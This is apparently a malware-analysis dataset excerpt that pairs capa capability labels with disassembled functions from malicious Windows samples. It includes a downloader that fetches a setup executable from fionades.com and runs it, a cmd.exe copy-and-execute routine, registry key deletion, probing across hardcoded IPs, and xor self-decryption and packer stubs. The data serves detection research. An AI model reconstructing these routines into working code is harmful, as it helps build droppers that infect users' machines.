joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408b48
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4101e4
push 0x4101dc
push str.FlsAlloc
push 0x1f
call fcn.00408a26
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408b7c
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e128]
call esi
jmp 0x408b82
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408bc6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4101f4
push 0x4101ec
push str.FlsGetValue
push 0x21
call fcn.00408a26
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408bfd
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408c05
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4101fc
push 0x4101f4
push str.FlsSetValue
push 0x22
call fcn.00408a26
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408c3f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40da10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40da3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40da3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001380
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x43c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x438], eax
push ebx
push ebp
mov ebp, dword [esp + 0x448]
push esi
push 0x104
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.cmd.exe
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100013c5
sub eax, edx
sar eax, 1
mov ebx, eax
mov eax, esi
lea edx, [eax + 2]
jmp 0x100013e0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100013e0
sub eax, edx
sar eax, 1
mov edx, eax
mov eax, ebp
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100013f6
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
sub eax, esi
sar eax, 1
add eax, edx
lea esi, [eax + ebx + 0x20]
lea eax, [esi + esi]
push eax
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x1000144b
push edi
push eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x438]
xor ecx, esp
call fcn.10002ef7
add esp, 0x43c
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push ecx
push edx
push edi
push str.__s___c_copy___s____s_
lea eax, [esi + esi - 2]
call fcn.10001320
push 0x430
lea eax, [esp + 0x28]
push 0
push eax
call fcn.10008470
mov eax, ebx
add esp, 0x1c
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001480
push 0
push 0
push 0x42f
sub eax, edx
sar eax, 1
lea ecx, [esp + 0x20]
push ecx
inc eax
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push edi
push 0
call ebp
push eax
call esi
mov ecx, dword [esp + 0x444]
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10002ef7
add esp, 0x43c
ret
Function at 0x100018b0
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebx
push edi
or eax, 2
push eax
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x100018d6
call ebx
mov edi, eax
push edi
call fcn.10001500
add esp, 4
mov ecx, 0x104
mov eax, esi
lea ecx, [ecx]
cmp word [eax], 0
je 0x100018f0
add eax, 2
sub ecx, 1
jne 0x100018e0
jmp 0x1000190f
test ecx, ecx
je 0x1000190f
mov eax, 0x104
sub eax, ecx
mov ecx, 0x104
sub ecx, eax
lea edx, [esi + eax*2]
mov eax, str..exe
call fcn.100015f0
mov eax, dword [0x10011968]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x10001930
push esi
call fcn.10001500
add esp, 4
mov eax, edi
pop edi
pop ebx
ret
call ebx
mov ecx, eax
push ecx
push esi
call fcn.10001500
add esp, 8
pop edi
mov eax, ecx
pop ebx
ret
Function at 0x10001a10
Capabilities:
Create process on windows
Set current directory

Disassembly:
sub esp, 0x60
push ebx
push esi
push edi
mov edi, eax
lea edx, [eax + 2]
jmp 0x10001a20
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001a20
sub eax, edx
sar eax, 1
jne 0x10001a3d
mov eax, 0x70000015
pop edi
pop esi
pop ebx
add esp, 0x60
ret
push 0x44
lea eax, [esp + 0x24]
push 0
push eax
call fcn.10008470
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0xc
xor eax, eax
push 0x228
push 8
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 0x44
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x10001a9f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001500
add esp, 4
mov eax, 0xf0000003
pop edi
pop esi
pop ebx
add esp, 0x60
ret
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10001ad7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
call fcn.10001500
add esp, 4
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x60
ret
push 3
push 0x1000e4e0
push edi
call fcn.10003168
add esp, 0xc
test eax, eax
jne 0x10001b38
call fcn.10001500
push 0x1000e4e8
call fcn.10001510
push 0x1000e4ec
call fcn.10001510
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001ab1
mov eax, dword [esp + 0x18]
push eax
call fcn.10001500
mov edi, 0x70000013
jmp 0x10001abf
push 3
push 0x1000e4ec
push edi
call fcn.10003168
add esp, 0xc
test eax, eax
jne 0x10001b9d
call fcn.10001500
call fcn.10001bc0
test eax, eax
je 0x10001b63
push eax
call fcn.10001500
add esp, 4
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x10001b85
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
call fcn.10001500
add esp, 8
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x70000014
pop edi
pop esi
pop ebx
add esp, 0x60
ret
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, 0xf0000007
pop ebx
add esp, 0x60
ret
Function at 0x10001bc0
Capabilities:
Delete registry key

Disassembly:
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x208
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x10001be6
pop edi
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push str.2CBE016A_8F28_4E0C_83A6_6079161294D7
push str.SoftwareMicrosoftActive_SetupInstalled_Components_s
mov ecx, 0x104
call fcn.10001550
add esp, 8
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
test esi, esi
je 0x10001c3b
cmp esi, 2
jne 0x10001c31
push ebx
call fcn.10001500
add esp, 4
push ebx
xor esi, esi
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
pop esi
pop edi
pop ebx
ret
push esi
push ebx
call fcn.10001500
add esp, 8
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x10001fb0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0xcb0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xca8], eax
push ebx
push 0x414
lea eax, [esp + 0x47c]
push 0
push eax
call fcn.10008470
push 0x414
lea ecx, [esp + 0x70]
push 0
push ecx
call fcn.10008470
push 0x414
lea edx, [esp + 0x8ac]
push 0
push edx
call fcn.10008470
add esp, 0x24
lea eax, [esp + 0x478]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x60]
push ecx
push 0
push str.cache
lea edx, [esp + 0x484]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x60]
call fcn.10002930
test eax, eax
jne 0x100020c5
lea eax, [esp + 0x60]
push eax
push str.__s_
mov ecx, 0x103
lea ebx, [esp + 0x898]
call fcn.10001550
push 0x44
lea ecx, [esp + 0x24]
push 0
push ecx
call fcn.10008470
add esp, 0x14
xor eax, eax
lea edx, [esp + 8]
push edx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, ebx
push ecx
push 0
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100020c5
mov eax, 1
pop ebx
mov ecx, dword [esp + 0xca8]
xor ecx, esp
call fcn.10002ef7
add esp, 0xcb0
ret
mov ecx, dword [esp + 0xcac]
pop ebx
xor ecx, esp
xor eax, eax
call fcn.10002ef7
add esp, 0xcb0
ret

Function at 0x10002150
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1a4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x19c], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0x100020e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x19c]
xor ecx, esp
xor eax, eax
call fcn.10002ef7
add esp, 0x1a4
ret
Function at 0x10002780
Capabilities:
Create process on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x208
push 8
xor ebx, ebx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebp
mov esi, eax
test esi, esi
jne 0x100027ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001500
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x100027e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001500
add esp, 4
jmp 0x10002869
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push 0x208
push 8
call edi
push eax
call ebp
mov ebx, eax
test ebx, ebx
jne 0x1000280a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001500
add esp, 4
jmp 0x10002869
push esi
push str.__s_
mov ecx, 0x104
call fcn.10001550
add esp, 8
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x1000282f
call fcn.10001500
jmp 0x10002869
push 3
push ebx
push ebx
push str.explorer.exe
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jge 0x10002869
cmp eax, 2
jl 0x1000285f
cmp eax, 3
jg 0x1000285f
push esi
call fcn.10001500
add esp, 4
jmp 0x10002869
push eax
push esi
call fcn.10001500
add esp, 8
push esi
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
test ebx, ebx
je 0x10002883
push ebx
push 0
call edi
push eax
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x10002890
Capabilities:
Get token membership

Disassembly:
sub esp, 0x14
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
mov dword [esp + 0x30], 1
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x100028f5
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10002ef7
add esp, 0x14
ret
mov eax, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1000290e
mov dword [esp + 4], ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.10002ef7
add esp, 0x14
ret
Function at 0x10002930
Capabilities:
Connect to http server
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write file on windows

Disassembly:
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push 2
push edi
push 1
push 0x40000000
or esi, 0xffffffff
push eax
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], edi
xor ebx, ebx
mov dword [esp + 0x44], 0x1000e788
mov dword [esp + 0x48], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x10002ad6
push ebp
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_5.1__AppleWebKit_535.1__KHTML__like_Gecko_
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebp, eax
mov dword [esp + 0x20], ebp
test ebp, ebp
je 0x10002a8c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push str.fionades.com
push ebp
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esp + 0x18], eax
test eax, eax
je 0x10002a8c
push ebx
push 0x4000000
lea ecx, [esp + 0x34]
push ecx
push ebx
push ebx
push str._ABIUS_setup.exe
push 0x1000e818
mov edx, eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
test ebx, ebx
je 0x10002a8c
push edi
push edi
push edi
push edi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x10002a8c
push edi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0x20000005
push ebx
mov dword [esp + 0x3c], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x10002a8c
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10002a8c
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10002a8c
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x14]
push edx
push eax
push edi
push ebx
xor esi, esi
call ebp
test eax, eax
je 0x10002a88
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10002a68
mov edx, dword [esp + 0x10]
add esi, eax
lea ecx, [esp + 0x14]
push ecx
sub edx, esi
push edx
lea eax, [esi + edi]
push eax
push ebx
call ebp
test eax, eax
jne 0x10002a47
test esi, esi
jbe 0x10002a88
mov edx, dword [esp + 0x24]
push 0
lea ecx, [esp + 0x18]
push ecx
push esi
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x1c], 0
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10002aab
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebp, ebp
je 0x10002ab8
push ebp
call esi
mov eax, dword [esp + 0x18]
pop ebp
test eax, eax
je 0x10002ac4
push eax
call esi
test ebx, ebx
je 0x10002acb
push ebx
call esi
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
add esp, 0x24
ret
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0x24
ret
Function at 0x10002ae0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x40
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
mov dword [esp + 0xc], str.74.125.224.112
mov dword [esp + 0x10], str.74.125.224.113
mov dword [esp + 0x14], str.74.125.224.114
mov dword [esp + 0x18], str.74.125.224.115
mov dword [esp + 0x1c], str.74.125.224.116
mov dword [esp + 0x20], str.207.46.197.32
mov dword [esp + 0x24], str.207.46.232.182
mov dword [esp + 0x28], str.129.42.38.1
mov dword [esp + 0x2c], str.198.133.219.25
mov dword [esp + 0x30], 0
lea edi, [esp + 0xc]
jmp 0x10002b50
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x10002baa
mov eax, dword [edi]
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [esp + 0x3c], eax
call sub.WS2_32.dll_htons
push 0x10
lea edx, [esp + 0x38]
push edx
mov ecx, 2
push esi
mov word [esp + 0x42], ax
mov word [esp + 0x40], cx
call sub.WS2_32.dll_connect
push esi
test eax, eax
je 0x10002bbe
call sub.WS2_32.dll_closesocket
push 0x3e8
add edi, 4
call ebx
cmp dword [edi], 0
jne 0x10002b50
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.10002ef7
add esp, 0x40
ret
call sub.WS2_32.dll_closesocket
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10002ef7
add esp, 0x40
ret

Function at 0x10002c40
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x460
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x458], eax
cmp dword [0x10011974], 0
push edi
je 0x10002cd3
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [esp + 0xa]
movzx edx, word [esp + 6]
movzx eax, word [esp + 4]
push ecx
push edx
push eax
push str._d__d__d
mov ecx, 0x40
lea edi, [esp + 0x28]
call fcn.10002be0
mov ecx, edi
push ecx
push str.S:_s_n
mov ecx, 0x3ff
lea edi, [esp + 0x70]
call fcn.10002be0
mov eax, edi
add esp, 0x18
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002cb0
mov ecx, dword [0x10011970]
sub eax, edx
push 0
lea edx, [esp + 0x18]
push edx
push eax
lea eax, [esp + 0x64]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x45c]
pop edi
xor ecx, esp
call fcn.10002ef7
add esp, 0x460
ret
Function at 0x10002cf0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x45c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x458], eax
cmp dword [0x10011974], 0
push edi
je 0x10002d86
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [esp + 0xa]
movzx edx, word [esp + 6]
movzx eax, word [esp + 4]
push ecx
push edx
push eax
push str._d__d__d
mov ecx, 0x40
lea edi, [esp + 0x28]
call fcn.10002be0
mov ecx, dword [esp + 0x474]
push ecx
mov edx, edi
push edx
push str.C:_s:__d_n
mov ecx, 0x3ff
lea edi, [esp + 0x74]
call fcn.10002be0
mov eax, edi
add esp, 0x1c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002d64
push 0
sub eax, edx
lea ecx, [esp + 0x18]
push ecx
push eax
mov eax, dword [0x10011970]
lea edx, [esp + 0x64]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x45c]
pop edi
xor ecx, esp
call fcn.10002ef7
add esp, 0x45c
ret

Function at 0x10002da0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x460
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x458], eax
cmp dword [0x10011974], 0
push edi
je 0x10002e35
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [esp + 0xa]
movzx edx, word [esp + 6]
movzx eax, word [esp + 4]
push ecx
push edx
push eax
push str._d__d__d
mov ecx, 0x40
lea edi, [esp + 0x28]
call fcn.10002be0
mov ecx, dword [esi]
mov edx, dword [esi + 0xc]
push ecx
push edx
mov eax, edi
push eax
push str.I:_s:_U:0x_08x_S:0x_08x_n
mov ecx, 0x3ff
lea edi, [esp + 0x78]
call fcn.10002be0
mov eax, edi
add esp, 0x20
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002e13
push 0
sub eax, edx
lea ecx, [esp + 0x18]
push ecx
push eax
mov eax, dword [0x10011970]
lea edx, [esp + 0x64]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x45c]
pop edi
xor ecx, esp
call fcn.10002ef7
add esp, 0x460
ret

Function at 0x10002ef7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10002f01
repz ret
jmp fcn.1000359b
Function at 0x1000c018
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100050a7
and dword [ebp - 4], 0
cmp dword [0x1001194c], 0
mov ebx, eax
jne 0x1000c0c9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000c17a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000c17a
push eax
call fcn.10005035
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001194c], eax
call esi
push eax
call fcn.10005035
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10011950], eax
call esi
push eax
call fcn.10005035
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10011954], eax
call esi
push eax
call fcn.10005035
pop ecx
mov dword [0x1001195c], eax
test eax, eax
je 0x1000c0c9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10005035
pop ecx
mov dword [0x10011958], eax
mov eax, dword [0x10011958]
cmp eax, ebx
je 0x1000c121
cmp dword [0x1001195c], ebx
je 0x1000c121
push eax
call fcn.100050b0
push dword [0x1001195c]
mov esi, eax
call fcn.100050b0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000c121
test edi, edi
je 0x1000c121
call esi
test eax, eax
je 0x1000c118
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000c118
test byte [ebp - 0xc], 1
jne 0x1000c121
or dword [ebp + 0x10], 0x200000
jmp 0x1000c15a
mov eax, dword [0x10011950]
cmp eax, ebx
je 0x1000c15a
push eax
call fcn.100050b0
pop ecx
test eax, eax
je 0x1000c15a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000c15a
mov eax, dword [0x10011954]
cmp eax, ebx
je 0x1000c15a
push eax
call fcn.100050b0
pop ecx
test eax, eax
je 0x1000c15a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001194c]
call fcn.100050b0
pop ecx
test eax, eax
je 0x1000c17a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000c17c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
popal
nop
nop
nop
nop
nop
jmp fcn.00431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx